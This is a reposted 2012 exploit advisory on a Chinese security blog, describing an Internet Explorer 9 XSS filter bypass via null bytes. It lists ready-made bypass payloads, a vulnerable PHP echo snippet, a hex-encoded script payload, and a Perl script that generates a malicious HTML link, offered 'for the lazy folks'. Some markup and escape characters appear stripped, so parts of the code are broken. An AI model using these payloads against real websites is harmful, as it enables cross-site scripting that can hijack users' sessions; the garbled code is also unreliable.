Internet Explorer 9 XSS Filter Bypass

  • A+
所属分类:lcx

00截断之前貌似没接触过,但是字符集编码导致被绕过之前研究的很多。

(大家可以研究下某已经被补的预警!)

-------------------------------------------------------------------

Insight-labs公布的一些方法:


%00%00v%00%00
";alert(1)//
%c0";alert(%00)//
%c0";//(%0dalert(1)//
%c0";//(%0dalert(1)//
%c0";//(%00%0dalert(1)//
%c0"//(%000000%0dalert(1)//

-------------------------------------------------------------------

#################################################

Internet Explorer 9 XSS Filter Bypass

#################################################

Discovered by: Jean Pascal Pereira

Vendor information:

"Internet Explorer (formerly Microsoft Internet Explorer and Windows Internet Explorer, commonly abbreviated IE or MSIE) is a series of graphical web browsers developed by Microsoft and included as part of the Microsoft Windows line of operating systems, starting in 1995. It was first released as part of the add-on package Plus! for Windows 95 that year. Later versions were available as free downloads, or in service packs, and included in the OEM service releases of Windows 95 and later versions of Windows.."

Vendor URI: http://www.microsoft.com

#################################################

Issue: Cross Site Scripting Filter Bypass

-------------------------------------

Description:

The Internet Explorer 9 offers a feature to eliminate suspicious pattern passed to the website by a parameter.

For example, we have the following script:

-------------------------------------

echo $_GET['a'];

?>

-------------------------------------

Let's call it "blah.php". Now we access the blah.php by using Internet Explorer 9 and try to execute a malicious string:

http://localhost/ieb/blah.php?a=

After this, we receive the message "Internet Explorer has modified this page to help prevent cross-site scripting".

The JavaScript won't be executed.

-------------------------------------

Proof Of Concept:

This trick may be known to some of you. Internet Explorer allows stripping tags by inserting nullbytes.

For example, the following string will be executed:

3C 73 00 63 72 69 70 74 3E 61 6C 65 72 74 28 31 29 3C 2F 73 00 63 72 69 70 74 3E

Which is actually "alert(1)[NULL]cript>".

However, we won't be able to insert the nullbytes directly in the URI. The following example won't work:

http://localhost/ieb/blah.php?a=alert(1)%00cript>

But there is still another possibility. Grab a hex editor and create a file looking like the example given below:

Clickme

If you open the file and click the provided link, the script will be executed.

-------------------------------------

Exploit (for the lazy folks):

-------------------------------------

#!/usr/bin/perl

use strict;

use warnings;

# Internet Explorer 9 XSS Filter Bypass Generator

# Credit: Jean Pascal Pereira

# http://0xffe4.org

my $target  = shift || die("No target defined");

my $payload = shift || die("No payload defined");

my $lnk_txt = shift || "Click me :)";

open(OUT, ">:raw", "out.html");

print OUT "x3Cx61x20x68x72x65x66x3Dx27";

print OUT $target;

print OUT "x3Cx73x00x63x72x69x70x74x3E";

print OUT $payload;

print OUT "x3Cx2Fx73x00x63x72x69x70x74x3Ex27x3E";

print OUT $lnk_txt;

print OUT "x3Cx2Fx61x3E";

close(OUT);

-------------------------------------

Example usage is:

iefilter.pl http://www.example.com?var= alert(1)

-------------------------------------

Note:

Exploitation via
-------------------------------------

Solution:

Currently, no solution is available for this issue.

-------------------------------------

#################################################

# 1337day.com [2012-10-25]

相关内容:

IE8 xss filter bypass

文章来源于lcx.cc:Internet Explorer 9 XSS Filter Bypass

相关推荐: 批处理,Bat 产生,生成一组连续递增,递减的数字

使用批处理、Bat 产生、生成一组连续递增、递减的数字: 语法:for /l %%a in (A,B,C) do echo %%a 参数A:这段连续的数值开始的数值,即产生从A到B之间的数(包含A和B自身)。 参数B:需要递增的值(如果该值为负数,则是递减,但…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: